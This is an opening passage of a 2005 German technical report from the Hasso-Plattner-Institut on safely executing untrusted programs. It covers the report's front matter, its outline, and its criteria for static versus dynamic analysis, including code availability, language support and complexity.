HASSO-PLATTNER-INSTITUT
für Softwaresystemtechnik an der Universität Potsdam

Sichere Ausführung nicht vertrauenswürdiger Programme

Evaluation verschiedener Ansätze und Einsatz an vier Fallbeispielen

Johannes Nicolai

Technische Berichte Nr. 9
des Hasso-Plattner-Instituts
für Softwaresystemtechnik an der Universität Potsdam

Technische Berichte des Hasso-Plattner-Instituts für Softwaresystemtechnik
an der Universität Potsdam

Nr. 9

Sichere Ausführung nicht vertrauenswürdiger Programme
Evaluation verschiedener Ansätze und Einsatz an vier Fallbeispielen

Johannes Nicolai

Potsdam 2005

Bibliografische Information der Deutschen Bibliothek
Die Deutsche Bibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie; detaillierte bibliografische Daten sind im Internet über http://dnb.ddb.de abrufbar.

Die Reihe *Technische Berichte des Hasso-Plattner-Instituts für Softwaresystemtechnik an der Universität Potsdam* erscheint aperiodisch.

Herausgeber: Professoren des Hasso-Plattner-Instituts für Softwaresystemtechnik an der Universität Potsdam

Redaktion: Johannes Nicolai
Email: Johannes.nicolai@student.hpi.uni-potsdam.de

Editoren Bernhard Rabe, Andreas Rasche
Email: bernhard.rabe; andreas.rasche}@hpi.uni-potsdam.de

Vertrieb: Universitätsverlag Potsdam
Postfach 60 15 53
14415 Potsdam
Fon +49 (0) 331 977 4517
Fax +49 (0) 331 977 4625
e-mail: ubpub@rz.uni-potsdam.de
http://info.ub.uni-potsdam.de/verlag.htm

Druck: allprintmedia gmbH
Blomberger Weg 6a
13437 Berlin
email: info@allprint-media.de

© Hasso-Plattner-Institut für Softwaresystemtechnik an der Universität Potsdam, 2005

Dieses Manuskript ist urheberrechtlich geschützt. Es darf ohne vorherige Genehmigung der Herausgeber nicht vervielfältigt werden.

Heft 9 (2005)
ISBN 3-937786-73-2
ISSN 1613-5652

Inhaltsverzeichnis

Vorwort....5
1. Einleitung....7
2. Statische vs. dynamische Analyse....11
3. Kriterien für den Erfolg statischer Quellcodeanalysemethoden....13
3.1. Theoretische Vorüberlegungen....13
3.2. 1. Kriterium: Verfügbarkeit des Quellcodes....14
3.3. 2. Kriterium: Unterstützung der Programmiersprache....14
3.4. 3. Kriterium: Zulassung von „echten“ Programmen der Problemdomäne....15
3.5. 4. Kriterium: Bewältigung der auftretenden Komplexität....16
3.6. 5. Kriterium: Schutz vor böswilliger Speichermanipulation....17
3.7. 6. Kriterium: Garantie für die Umgebung des laufenden Prozesses....19
3.8. Fazit....20
3.9. Verwandte Arbeiten....20
4. Bewertung von statischen Methoden für C/C++ typische Programme....23
4.1. Hintergrund....23
4.2. Prämissen....23
4.3. 1. Problemfeld: Programmgröße und Interferenz....26
4.4. 2. Problemfeld: Semantik....28
4.5. 3. Problemfeld: Programmfluss....29
4.6. 4. Problemfeld: Zeigerarithmetik....30
4.7. Dynamische Konzepte zur Erfüllung des fünften Kriteriums auf Quellcodebasis....35
4.8. Fazit....36
4.9. Verwandte Arbeiten....37
5. Kriterien für den Erfolg dynamischer Ansätze....39
5.1. Hintergrund....39
5.2. Verfügbarkeit des Quellcodes....39
5.3. Unterstützung der Programmiersprache....39
5.4. Zulassung von „echten“ Programmen aus der Problemdomäne....40
5.5. Bewältigung der auftretenden Komplexität....40
5.6. Schutz vor böswilliger Speichermanipulation....41
5.7. Garantie für die Umgebung des laufenden Prozesses....42
5.8. Fazit....43
6. Klassifikation und Evaluation dynamischer Ansätze....45
6.1. Hintergrund....45
6.2. Quellcodesubstitution....45

6.3. Binärcodemodifikation/Binary-Rewriting....46
6.4. Maschinencodeinterpreter....46
6.5. Intrusion-Detection-Systeme....48
6.6. Virtuelle Maschinen/Safe Languages....48
6.7. Mechanismen zur „Härtung“ von bestehenden Code....50
6.8. SandBoxing/System-Call-Interposition....52
6.9. Herkömmliche Betriebssystemmittel....58
6.10. Access-Control-Lists/Domain-Type-Enforcement....59
6.11. Fazit....62
7. Sichere Ausführung nicht vertrauenswürdiger Programme im Kontext von RealTimeBattle....63
7.1. Vorstellung von RealTimeBattle....63
7.2. Charakterisierung des Problems....64
7.3. Alternative Lösungsvarianten/Rekapitulation....65
7.4. Übertragung der Ergebnisse statischer Analysemethoden auf RealTimeBattle....66
7.5. Übertragung der Ergebnisse dynamischer Analysemethoden auf RealTimeBattle....67
7.5.1. Vorstellung der RSBAC basierten Lösung....68
7.5.2. Vorstellung der Systrace basierten Lösung....69
7.6. Fazit....70
7.7. Verwandte Arbeiten....71
8. Sichere Ausführung nicht vertrauenswürdiger Programme im Kontext von Asparagus....73
8.1. Vorstellung von Asparagus....73
8.2. Charakterisierung des Problems....73
8.3. Lösung des Problems....74
8.4. Fazit....75
8.5. Verwandte Arbeiten....75
9. Sichere Ausführung nicht vertrauenswürdiger Programme im Kontext vom DCL....77
9.1. Vorstellung des DCL....77
9.2. Charakterisierung des Problems....78
9.3. Experimente im DCL und die jeweilige Lösung....78
9.3.1. Foucaultsches Pendel....78
9.3.2. Lego Mindstorm Roboter....80
9.3.3. Hau den Lukas....81
9.4. Fazit....82
9.5. Verwandte Arbeiten....82
10. Sichere Ausführung nicht vertrauenswürdiger Programme im Kontext der semiautomatischen Korrektur von Betriebssystemarchitektur-Übungsaufgaben....85
10.1. Vorstellung des Übungsbetriebes zur Vorlesung „Betriebssystsemarchitektur”....85
10.2. Charakterisierung des Problems....86

10.3. Lösungsvorschläge....87
10.3.1. Lösungsvorschläge für das Authentifizierungs-Problem....87
10.3.2. Lösungsvorschläge für das Transport-Problem....87
10.3.3. Lösungsvorschläge für das Build-Problem....88
10.3.4. Lösungsvorschläge für das Ausführungs-Problem....89
10.3.5. Lösungsvorschläge für das Ressourcen-Problem....90
10.3.6. Lösungsvorschläge für das Portabilitäts-Problem....91
10.4. Fazit....91
10.5. Verwandte Arbeiten....91
11. Schlussbetrachtungen....93
Literaturverzeichnis....95
Anhang....101
create_guardedrobot.sh: Die RealTimeBattle Security Infrastructure....101
vuln.c: Ein durch Pufferüberlauf ausnutzbares Programm....112
exploit.c: Ein Beispielexploit für vuln.c....113
aufg43.c: Lösung für eine Aufgabe im Rahmen der Betriebssystemarchitektur-Übung....116
Handout: Sichere Ausführung nicht vertrauenswürdiger Programme....131

Vorwort

Wie kommt man auf die Idee, eine Arbeit über die sichere Ausführung nicht vertrauenswürdiger Programme zu schreiben? Als ich im Sommersemester 2004 ein studentisches Softwareprojekt am Hasso Plattner Institut Potsdam gründete, um die in den Vorlesungen gelehrten theoretischen Konzepte endlich in der Praxis vertiefen zu können, ahnte ich nicht, welcher Erfolg diesem beschert sein würde. Ziel unseres Projektes war es, dem in der Open Source Community sehr beliebten Programmierspiel *RealTimeBattle* die Funktionalität der Teamfähigkeit hinzuzufügen. Bereits ein halbes Jahr später, waren wir in der Lage, das gesamte RealTimeBattle Projekt mit seinen nun ungefähr 30 Entwicklern zu übernehmen. Als Projektleiter der *RealTimeBattle* Community ist es nun meine Aufgabe, zu entscheiden, wann, wo und wie die nächsten Weltmeisterschaften für *RealTimeBattle* ausgetragen werden. An dieser Stelle tauchte für mich das erste Mal die Frage auf, wie wir sicherstellen können, dass die von den quer über den Globus verstreut lebenden Teilnehmer keine bösartigen Programme einsenden konnten, die unser Turnier auf unfaire Art und Weise gewinnen oder gar sabotieren könnten.

Mit dieser Frage und einigen ersten Lösungsideen wandte ich mich nun an den hiesigen Lehrstuhl für Betriebssysteme und Middleware und lernte dort das Distributed Control Lab (DCL) kennen, in dem sich ebenfalls auf vielfältige Weise mit der sicheren Ausführung nicht vertrauenswürdiger Programme beschäftigt wird. Es stellte sich weiterhin heraus, dass es bei der semiautomatischen Überprüfung von Übungsaufgaben zur Betriebssystemvorlesung und in der Arbeit eines vom Lehrstuhl betreuten Diplomanden um ähnliche Probleme geht. Spätestens an dieser Stelle erkannte ich, dass die sichere Ausführung von nicht vertrauenswürdigen Programmen ein großes Forschungsfeld darstellt, welches ich mit dieser Arbeit versuche, einmal etwas allgemeiner mit Fokus auf COTS-Programme[1] zu untersuchen.

Ich möchte an dieser Stelle den Mitarbeitern am Lehrstuhl für Betriebssysteme und Middleware, insbesondere Dr. Martin von Löwis für die geduldige Beantwortung vieler Fragen, Dipl. Inf. Bernhard Rabe und Dipl. Inf. Andreas Rasche für Informationen über das DCL und Durchsicht dieses Dokumentes, sowie Prof. Dr. Andreas Polze für Ermutigungen und konstruktiver Kritik zu dieser Arbeit danken. Ebenfalls Dank gebührt Georg Zetzsche, Marlen Vogel und Jana Pfannstiel, für eine Menge von inhaltlichen und stilistischen Anmerkungen sowie „moralische Unterstützung“.

Johannes Nicolai, Potsdam im August 2005

1 *Commercial off-the-Shelf*-Programme werden nicht für einen speziellen Kunden entworfen, sondern als Massenprodukt vertrieben. Der Kunde hat zumeist keinen großen Einfluss auf den genauen Entwicklungsprozess sowie die dabei eingesetzten Technologien.

1. Einleitung

Im Zeitalter der globalen Vernetzung, tun sich vielerorts Situationen auf, in denen der Nutzer eines Computers auf irgendeine Weise Programme ausführen will, denen er nicht vollkommen vertrauen kann, da sie aus unbekannter Quelle stammen:

Um Audio- und Videodateien sowie interaktive Inhalte (Java/Flash/Javascript) im Browser zu betrachten, müssen Plugins heruntergeladen werden; Textdokumente enthalten aktive Komponenten (Postscript, Makros), E-Mail-Programme müssen verschiedene Anlagen anhand ihres MIME Typs mit Anwendungen verknüpfen, die mit der Dateiart umgehen können, verteiltes Rechnen wie SETI benötigt Zusatzprogramme aus dem Internet, ISPs müssen benutzerdefinierte CGI-Skripte auf ihren Servern ausführen.

Die Anführung von Beispielen, in denen unbekannter beziehungsweise nicht vertrauenswürdiger Programmcode (im weiteren Verlauf auch *Untrusted Code* genannt) ausgeführt werden muss, kann fast endlos fortgesetzt werden.

Die Risiken, welchen sich der Nutzer dabei aussetzen muss, sind nicht unbeträchtlich. Standardmäßig wird jedes Programm mit den Rechten des Nutzers ausgeführt, der es gerade benutzt. Sollte die fragwürdige Applikation einen Programmierfehler enthalten, der sich von einem Angreifer außerhalb ausnutzen lässt[2], oder enthält sie mutwillig eingebaute Hintertüren[3], so kann sie private Dateien einsehen, löschen, manipulieren, Rechnerkapazitäten an sich binden oder im Kontext des Benutzers illegale Aktionen wie *Denial-of-Service*-Angriffe oder Spam-Versand durchführen.

Die vorliegende Arbeit zeigt Mittel und Wege auf, *Untrusted Code* sicher auszuführen. Sicher bedeutet in diesem Fall, dass eine zu analysierende Applikation nur Ressourcen benutzen und Aktionen durchführen darf, die der Benutzer ihr vorher zugestanden hat. So könnte beispielsweise das besagte Bildbetrachterplugin nur die Rechte erhalten, ein Bild auf dem Bildschirm anzuzeigen; Dateizugriff und Kommunikation mit anderen Prozessen wird unterbunden.

Die hier vorgestellten Konzepte haben den Anspruch, auf eine möglichst große Klasse von Programmen anwendbar zu sein. Demzufolge wird kein domänenspezifisches Fachwissen oder Kenntnis über den internen korrekten Programmablauf von den präsentierten Lösungen vorausgesetzt. Ein Verstoß gegen die zuvor spezifizierten Zugriffsregeln wird daher immer mit einem Verbot des Zugriffes oder einem sofortigen Programmabbruch geahndet werden. Ausgefeiltere Aktionen wie die „sichere Fortführung“ des Programmes im „gewünschten Sinne“ würde die Vielfalt der nutzbaren Programme stark einschränken, da hierfür ihre Charakteristik (internes semantisch korrektes Verhalten) genau bekannt sein müsste.

Es ist üblich, dass die Erstellung der nicht vertrauenswürdigen Programme nicht oder nur teilweise der Kontrolle des ausführenden Nutzers unterliegt. Gängige Software entsteht nicht auf der „grünen Wiese“, sondern setzt auf bereits vorhandene Strukturen auf und erweitert diese. Nur in den seltensten Fällen kann eine Methode folglich fordern, wie *Untrusted Code* beschaffen sein muss, um eine sichere Ausführung garantieren zu können. Anderslautende Voraussetzungen schaffen maximal Insellösungen für kleine Spezialgebiete und sind nicht

2 Ein Bildbetrachterplugin könnte etwa mit manipulierten Bilddaten zu fast beliebigen Aktionen verleitet werden.

3 Hintertüren können vom eigentlichen Programmierer des Programmes eingebaut oder erst während des Transports von einem Angreifer hinzugefügt werden.

ohne weiteres von einem industriellen Umfeld ins nächste übertragbar. Auch dieser Tatsache wird in dieser Arbeit versucht Rechnung zu tragen.

Anhand von vier Fallbeispielen aus unterschiedlichen Anwendungsdomänen, die zusätzlich zu den bereits erwähnten Szenarien existieren, werden konkrete Lösungen vorgestellt, um die sichere Ausführung nicht vertrauenswürdiger Programme zu gewährleisten.

Die vorliegende Arbeit ist folgendermaßen gegliedert.

Abschnitt 2 geht auf die zwei prinzipiell existierenden Richtungen (statische und dynamische Analyse) ein, die zur Lösung der gestellten Anforderungen eingeschlagen werden können.

Abschnitt 3 und 4 sind der statischen Analyse gewidmet. Hierbei stellt Abschnitt 3 zunächst Kriterien auf, die jegliche statische Methode erfüllen muss, um die Ausführung von Programmcode unter Randbedingungen (und damit auch unter sicherheitskritischen Gesichtspunkten) überhaupt garantieren zu können. Die hier beschrieben Probleme müssen größtenteils auch von dynamischen Ansätzen gemeistert werden.

Abschnitt 4 bewertet existierende Lösungen für Programme, die in den Sprachen C und C++ geschrieben wurden, indem die Erfüllbarkeit der aufgestellten Kriterien untersucht wird. Dabei wird im Detail auf die Schwierigkeiten statischer Analyse bei der Auswertung der Semantik von C und C++ eingegangen. Die Auswahl dieser Sprachfamilie erfolgte, da zwei der vier vorgestellten Fallbeispiele auf C und C++ Quellcode aufbauen.

Abschnitt 5 untersucht und überträgt die in Abschnitt 3 aufgestellten Kriterien auf den dynamischen Kontext und nimmt an einigen Stellen eine Umformulierung der besagten Punkte vor.

Abschnitt 6 klassifiziert Ansätze der dynamischen Analyse, stellt einige konkret implementierte Lösungen vor und zeigt deren Vor- und Nachteile bei der Bewältigung der gestellten Aufgabe unter Berücksichtigung der Kriterien in Abschnitt 5 auf.

Die restlichen Abschnitte stellen die vier Fallbeispiele vor. Dabei wird zunächst die konkrete Anwendungsdomäne kurz eingeführt. Anschließend erfolgt eine Definition des zu lösenden Problems mit den zu erfüllenden Bedingungen. Schlussendlich wird eine Lösung vorgestellt, die sich typischerweise einem zuvor vorgestellten, bereits existierenden Konzeptes zur sicheren Ausführung nicht vertrauenswürdiger Programme bedient.

Abschnitt 7 behandelt die sichere und faire Ausführungen von Roboterprogrammen im Programmierspiel *RealTimeBattle*.

Abschnitt 8 beschäftigt sich mit dem Distributed Control Lab (DCL), einem Framework zur sicheren Ausführung von Experimenten in einer verteilten Experimentierumgebung.

Abschnitt 9 stellt eine Lösung für Asparagus, einem Bechmarksystem zur Evaluation von Werkzeugen im Bereich der Antwortmengenprogrammierung, vor.

Zuletzt wird in Abschnitt 10 auf die Sicherheitsproblematik bei der semiautomatischen Korrektur von Übungsaufgaben im Rahmen einer Betriebssystemlehrveranstaltung eingegangen.

In den darauf folgenden Schlussbetrachtungen werden noch einmal die wichtigsten Erkenntnisse zusammengefasst.

Im Anhang befindet sich ein Handout mit einem sehr schematischen Überblick über diese Arbeit sowie ausgewählte Quellcodeausschnitte, welche den Realisierungen der Fallbeispiele entnommen sind bzw. der Illustration komplizierter Sachverhalte dienen.

Hinweise auf die Arbeiten anderer Autoren sind aus Übersichtlichkeitsgründen in jedem Abschnitt separat aufgelistet.

2. Statische vs. dynamische Analyse

Computerprogramme werden immer dann vom Benutzer eingesetzt, wenn er ein bestimmtes Problem innerhalb einer Problemdomäne effizient lösen möchte. In den seltensten Fällen wird der Benutzer dabei selbst das eingesetzte Programm schreiben können, sei es aus zeitlichen, finanziellen oder fachlichen Gründen. Als Konsequenz muss er sich mehr oder weniger auf die Zusicherung des Herstellers des Programmes verlassen, was dessen Verhalten angeht.

Neben den bloßen Zusicherungen existieren verschiedene Ansätze, wie der Nutzer selbst versuchen kann, das Verhalten von Programmen zu evaluieren. Dabei gibt es prinzipiell zwei verschiedene Methoden: Statische und dynamische Evaluation. Bei der statischen Evaluation wird das Programm vor seiner Ausführung auf dessen Verhalten überprüft und darf gegebenenfalls gar nicht erst ausgeführt werden; bei der dynamischen Evaluation wird vor jeder tatsächlichen Ausführung eines Befehls erst darüber befunden, ob diese Aktion dem gewünschten Verhalten entspricht - bei Devianz der Prozess abgebrochen.

Der Begriff Verhalten ist hier bewusst sehr allgemein gehalten, um sich nicht vorschnell auf eine bestimmte Ausprägung festlegen zu müssen. Verhalten soll in diesem Kontext nur bedeuten, dass das Programm nur bestimmte Systemfunktionen mit bestimmten Argumenten aufruft, nur vorher als zulässig definierte Programmpfade durchläuft sowie im Laufe seiner Benutzung bestimmte Ressourcen verbraucht. Letzter Punkt sollte sich in den hier behandelten Fällen auf die Punkte eins und zwei übertragen lassen[4]. Ist dies nicht möglich[5], so ist eine rein statische Evaluation schon a priori nicht möglich. Hardwarebedingtes Fehlverhalten fällt ebenfalls in diese Kategorie.

Der Vorteil einer statischen Evaluation liegt in deren Effizienz. Nach erfolgreich bestandenem Test kann das Programm beliebig oft ohne zusätzlichen Aufwand zur Laufzeit benutzt werden; bei einer dynamischen Evaluation muss dagegen jeder einzelne Systemruf bei jeder Ausführung genehmigt werden, was die Applikation spürbar verlangsamen kann. Dynamische Evaluation ermöglicht hingegen auch die Inbetriebnahme von Applikationen, die einzelne Routinen enthalten, welche nicht dem gewünschten Verhalten entsprechen, aber in dem gerade ausgeführten Kontext gar nicht aufgerufen werden. Man stelle sich ein großes Office Paket vor, dessen Tabellenkalkulationsmodul ein nicht akzeptables Verhalten aufweist. Eine statische Analyse würde hier die Ausführung des Programmes verbieten, da die Tabellenkalkulation potenziell genutzt werden könnte. Eine dynamische Analyse könnte stattdessen sämtliche Programmläufe genehmigen, bei denen der Nutzer beispielsweise nur Briefe schreiben würde und nur Versuche verhindern, die Tabellenkalkulation zu benutzen.

Neben rein statischen und dynamischen Ansätzen sind natürlich auch hybride Ansätze möglich. Diese Kombination wird in den Abschnitten 4 und 5 mitbehandelt werden, je nachdem, welcher Ansatz dominanter ist. Während die Entwicklung einer funktionierenden Methodik für eine dynamische Evaluation keine großen Schwierigkeiten bereiten sollte, stellt eine statische Methodik eine große Herausforderung dar, da nach einem Urteil über die Gültigkeit eines Programmes nicht mehr eingegriffen werden kann. Die Methodik stellt gewissermaßen einen „Blankoscheck“ für das Programm aus und muss diesen dann auch verantworten können.

---

4 Die Menge an angefordertem Arbeitsspeicher ist zum Beispiel aus der absoluten Häufigkeit des Aufrufes der Speicheranforderungssystemfunktion und der vorherigen Bestimmung der Parameterbelegungen ersichtlich.

5 Die Menge verbrauchter CPU-Zeit lässt sich beispielsweise nicht anhand der Programmstruktur bestimmen.

Der nachfolgende Abschnitt stellt notwendige Kriterien auf, die jede auf statischer Programmcodeanalyse beruhende Methodik erfüllen muss, um diesen „Blankoscheck“ auch tatsächlich rechtfertigen zu können. Man beachte, dass diese Kriterien wirklich nur als notwendig bezeichnet werden, was insbesondere heißt, dass die alleinige Einhaltung dieser Kriterien noch nicht die Wirkung der Methodik garantieren muss.

3. Kriterien für den Erfolg statischer Quellcodeanalysemethoden

3.1. Theoretische Vorüberlegungen

Es soll zunächst die Frage beantwortet werden, ob eine statische Methodik, welche hinreichend Sicherheit bietet, überhaupt existieren kann. Wäre dem nicht so, wäre mit der Aufstellung von Kriterien niemandem gedient.

Es soll davon ausgegangen werden, dass sowohl die Größe des zu analysierenden Quellcodes, der dem Programm zu verfügende Arbeitsspeicher, sowie das Ein- und Ausgaberepertoire des Programms endlich ist. Weiterhin soll sich die Programmausführung auf einem beliebigen aber fest gewählten Computer beziehen.

Treffen diese Prämissen zu, kann der im Quellcode beschriebene Algorithmus als endlicher Automat modelliert werden, welcher in einer endlichen Rechenumwelt (Arbeitsspeicher) agiert, seine Eingaben aus einer unendlichen Eingabeumwelt mit endlichem Zeichenrepertoire bezieht (Standardeingabe, kann als Stackumwelt modelliert werden) und seine Ausgaben in eine unendliche Ausgabenumwelt mit endlichem Zeichenrepertoire tätigt[6]. Die endliche Rechenumwelt kann nun in die Zustandsmenge des Automaten integriert werden (Rucksackumwelt), so dass der resultierende Automat weiterhin endlich ist und lediglich auf den bereits definierten Ein- und Ausgabeumwelten agiert. Wer an dieser Stelle an Details interessiert ist, sei auf [19] verwiesen.

Da die Zustandsmenge des Automaten endlich ist, können ausgehend vom Startzustand beziehungsweise den möglichen Startzuständen alle möglichen Folgezustände ermittelt werden. Sei die Anzahl der Zustände des Automaten gleich n, so befindet sich nach spätestens n Zustandsübergängen der Automat wieder in einem bereits betretenen Zustand (Schubfachschluss). Das Programm muss also nach endlicher Anzahl von Zustandsübergängen in eine Schleife geraten oder bereits terminiert sein. Ausgehend von dieser Tatsache ist es nun möglich, für jeden erreichbaren Zustand zu entscheiden, ob er noch in der Menge der Zustände liegt, die nach der Verhaltenszusicherung legitim sind. Gibt es einen oder mehrere solcher Zustände, die außerhalb dieser Menge liegen, muss die Ausführung der Applikation verboten werden, ansonsten kann ihr bedenkenlos zugestimmt werden. Da nur endlich viele Quellcodes, die eine bestimmte Größe nicht überschreiten, existieren können, könnte auf jedes der resultierenden Programme der illustrierte Algorithmus angewandt und das Resultat in einer virtuellen Tabelle eingetragen werden. Bei der statischen Evaluierung müsste nun nur noch in der Tabelle das zugehörige Resultat heraus gesucht und ausgegeben werden.

Damit ist die theoretische Existenz einer derartigen Methodik bewiesen. Man beachte allerdings, dass die Anzahl der Zustände bei einem Arbeitsspeicher von 300 Bytes bereits die geschätzte Anzahl von Atomen im Universum ([108]) bei weitem übertrifft, was für die theoretische Informatik absolut keine Einschränkung darstellt und ohne Belang ist, in praktische Überlegungen jedoch unbedingt einbezogen werden sollte.

6 Die Standardausgabe kann als Stackumwelt modelliert werden.

3.2. 1. Kriterium: Verfügbarkeit des Quellcodes

Will man den Quellcode einer Applikation analysieren, so ist dessen Verfügbarkeit ein notwendiges Kriterium. Dieser Punkt ist zugegebenermaßen sehr trivial, stellt in der Praxis jedoch eine nicht zu unterschätzende Hürde dar. Viele Firmen betrachten den Quellcode als Geschäftsgeheimnis. Andere Softwarehersteller vertrauen auf *Security-by-Obscurity* und wollen deshalb auf keinen Fall ihren Code zur Analyse freigeben. Ob die Freigabe von Sourcecode in irgendeiner Weise die Sicherheit oder Stabilität von Programmen erhöht, ist höchst umstritten und soll an dieser Stelle nicht diskutiert werden. Die Publikationen [79], [67], [107], [69] geben einen tieferen Einblick in die Materie.

Benutzt das Programm eine Vielzahl von Bibliotheken, ist auch deren Quellcode zu beschaffen, eventuell sogar der Quellcode des darunterliegenden Betriebssystems. Unter Umständen ist mit Unterzeichnung eines NDA (*Non Disclosure Agreement*) und der Zahlung eines gewissen Betrages eine Einsicht möglich. Sollen allerdings die Ergebnisse der auf dieser Basis stattfindenden Analyse vor Dritten rechtfertigt werden müssen (zum Beispiel vor Geschäftspartnern), so müssen diese ebenfalls das NDA unterzeichnen. Weiterhin ist es sehr schwierig sicherzustellen, dass der gezeigte Programmcode auch tatsächlich dem compilierten Programmcode entspricht, selbst wenn man die Compilierung eigenständig vornimmt. Eine geschickte Manipulation des Compilers könnte zusätzlichen Code in die entstehende Binärdatei einschleusen ([122]).

Sollte die Analyse des Quellcodes ergeben, dass eventuell Teile des Programms geändert werden müssen, um das gewünschte Verhalten zusichern zu können, ergibt sich ein weiteres Problem. Änderungen an der Software sind meist rechtlich nicht gestattet oder entbinden zumindest den Hersteller von jeglichen Garantien.

Natürlich ist es theoretisch möglich, den Binärcode ohne Kenntnis der Programmiersprache zu analysieren bzw. Reverse Engineering zu betreiben. Entsprechende Tools sollten bei jedem Betriebssystem vorhanden sein[7]. Neben rechtlichen Problemen geht hierbei möglicherweise sehr viel Strukturinformation für die statische Analyse verloren. Bei Sprachen, in denen Reverse Engineering besonders leicht fällt (z. B. Java), werden Programme vor deren Auslieferung häufig durch einen Obfuscator in für den menschlichen Leser unverständlichen Code transformiert, so dass für diesen selbst eigentlich offensichtliche Fehler nicht mehr zu erkennen sind. Die Begutachtung von Binärcode ist traditionell eher die Domäne der dynamischen Analyse.

3.3. 2. Kriterium: Unterstützung der Programmiersprache

Das aus der Methodik zu entwickelnde Analyseprogramm muss selbstverständlich die Programmiersprache beherrschen, so dass für jedes im zu analysierenden Quellcode existierende Konstrukt die dazugehörige Semantik und Wirkung vollkommen klar ist. Da es verschiedenste Dialekte einer Sprache geben kann und bestimmte Konstrukte eine große Mächtigkeit aufweisen können, muss das Analyseprogramm schon sehr viele Ähnlichkeiten mit einem ausgereiften Compiler aufweisen.

7 Zum Beispiel gdb, objdump, nm, ldd, strace, hexedit.

Natürlich ist es legitim, die unterstützten Konstrukte auf ein Mindestmaß einzuschränken um die Kontrolle über die Semantik des Quellcodes zu behalten. Dabei sollte allerdings das „Wesen“ der Programmiersprache immer noch erkennbar sein. C++ ohne Schlüsselwort `class` würde beispielsweise die objektorientierte Charakteristik der Sprache zerstören. Zudem gestaltet sich das Verbot bestimmter Konstrukte auch dadurch schwierig, dass diese Konstrukte sowohl für einfache Beispielprogramme als auch für sehr schwer zu durchschauende komplexe Applikationen unabdingbar sind. Ohne Überladung von Operatoren, Zeigerarithmetik, Polymorphie und Verwendung von Funktionszeigern ist schon die Zeile

```
cout << "Hello world" << endl;
```

nicht mehr übersetzbar; ohne Funktionen mit variabler Anzahl von Argumenten und Zeigerarithmetik ein

```
printf("Hello world\n");
```

nicht möglich.

3.4. 3. Kriterium: Zulassung von „echten“ Programmen der Problemdomäne

Es ist unbestreitbar möglich, durch statische Analyse eines Quellcodes bestimmtes Verhalten zu garantieren, solange man selbst die Kontrolle über die (typischerweise in Eigenregie speziell für diesen Zweck entwickelte) Programmiersprache hat und deren Mächtigkeit und Ausdrucksstärke auf ein Minimum beschränkt. So wird beispielsweise bei der Entwicklung von Software für Stellwerke von Gleisanlagen eine stark eingeschränkte Programmiersprache ohne Benutzung von Rekursion, Zeigerarithmetik, dynamisch allokierten Speicher und Funktionen mit variablen Argumenten benutzt, die eine Interaktion mit der Umgebung über einige wenige Schnittstellen erlaubt. Die compilierten Programme laufen zudem auf einem Betriebssystem, dass speziell für diesen Bereich entwickelt wurde, um Garantien für Ressourcenverbrauch und Echtzeit zu gewährleisten. Bei Versagen eines Prozesses wird sofort auf einen parallel laufenden Rechner übergeben, der zwar dieselbe Funktion erfüllt, jedoch zumeist mit einer anderen Software auf anderer Hardware arbeitet, um eine Kaskadierung von Fehlern zu vermeiden[8]. In weiteren extrem sicherheitskritischen Umgebungen wie im Flugzeugbau wird ebenfalls auf diese Art von Programmiersprachen zurückgegriffen.

Typischerweise werden aber Programme von Fremdherstellern, welche Spezialsoftware für eine Problemdomäne schreiben, die eine gewisse Komplexität aufweist, sich auf eine Programmiersprache festlegen, die industriell etabliert ist und auch die bequeme Entwicklung ausdrucksstarker Programme gestattet. Diese Programme nutzen im Allgemeinen die Standardbibliotheken ihrer Programmiersprache, eine große Anzahl von Variablen und interagierenden auf verschiedene Art und Weise mit dem Nutzer oder aufrufenden Programmen sowie indirekt (über die Standardbibliotheken) mit dem Betriebssystem. Häufig wurden sie ohne Kenntnis der eingesetzten Analysemethode geschrieben, existierten vielleicht sogar schon vor deren Konzeption. Zusätzliche Aktionen wie Anforderung von dynamischem

8 Diese Technik wird auch *Multi-Version-Programming* genannt.

Speicher sowie die Nutzung von Nebenläufigkeit sind in vielen Problemdomänen durchaus üblich. Will die einzusetzende statische Methodik von sich behaupten können, nicht nur pathologische Programme, sondern tatsächlich existierende Applikationen analysieren zu können, muss sie eine Möglichkeit bieten, die beschriebenen Merkmale bei Programmen nicht a priori zu verbieten, solange sie nicht gegen die gewünschten Randbedingungen verstoßen.

3.5. 4. Kriterium: Bewältigung der auftretenden Komplexität

Um einschätzen zu können, welche Systemfunktionen wie häufig und mit welchen Argumenten aufgerufen werden, ist eine Analyse aller möglichen Programmpfade durch den Quellcode angebracht. Besitzt ein Programm mehrere Variablen, die sich aus komplizierten Berechnungen ergeben bzw. vom Nutzer oder dem aufrufenden Programm übergeben werden und haben diese Variablen einen Einfluss auf das Ergebnis der Auswertung von Verzweigungsprädikaten, so ist eine Explosion des zu untersuchenden Zustandsraumes nicht auszuschließen. Sowohl der benötigte Speicherplatz für den Zustandsraum als auch die benötigte Zeit zur Überprüfung des Quellcodes könnten ein Ausschlusskriterium für einen bestimmten Überprüfungsalgorithmus sein.

Eventuell muss bereits an dieser Stelle der Anspruch herauszubekommen, wie oft eine Systemfunktion aufgerufen wird, beziehungsweise wie dabei die Parameterbelegung aussehen wird, fallengelassen werden. Dies ist weiter problematisch, da das Betriebssystem mit Hilfe von Ressourcenbeschränkungen für Prozesse und mit *Access-Control-Lists* den Zugriff auf sicherheitssensitive Objekte limitieren bzw. verbieten kann. Dieser Ansatz fällt jedoch bereits in den Bereich der dynamischen Analyse[9]. Außerdem ist es oft sehr zeitintensiv, für jeden Prozess die genauen Zugriffsrechte zu spezifizieren, da diese bei vielen Betriebssystemen am Nutzer, der das Programm ausführt, festgemacht werden. Wenn ein Nutzer jedoch das Recht vom Betriebssystem eingeräumt bekommt, seine verfassten Texte zu löschen, erwartet er dieses Verhalten nicht von seinem News Reader (der aber wiederum News löschen dürfen sollte), was impliziert, dass der Reader unter anderen Nutzerrechten ausgeführt werden müsste, wenn die Parameterprüfung für Systemfunktionen an das Betriebssystem delegiert werden würde und nicht mehr bei der statischen Quellcodeanalyse berücksichtigt werden sollte. Die statische Evaluation könnte aber zumindest garantieren, dass bestimmte Systemfunktionen[10] nie aufgerufen werden, indem sie den gesamten Quelltext nach dem Auftreten der konkreten Funktion untersucht oder zeigen kann, dass kein möglicher Programmpfad je einen solchen Aufruf tätigen wird. Dies sicherzustellen, gestaltet sich jedoch als wesentlich schwieriger als vielleicht angenommen werden könnte, was unmittelbar mit dem nächsten Kriterium zusammenhängt.

9 Ein Verstoß gegen das gewünschte Verhalten wird erst bei der Ausführung vom Betriebssystem bemerkt.

10 Wie z. B. die Funktion zum Ausführen anderer Programme.

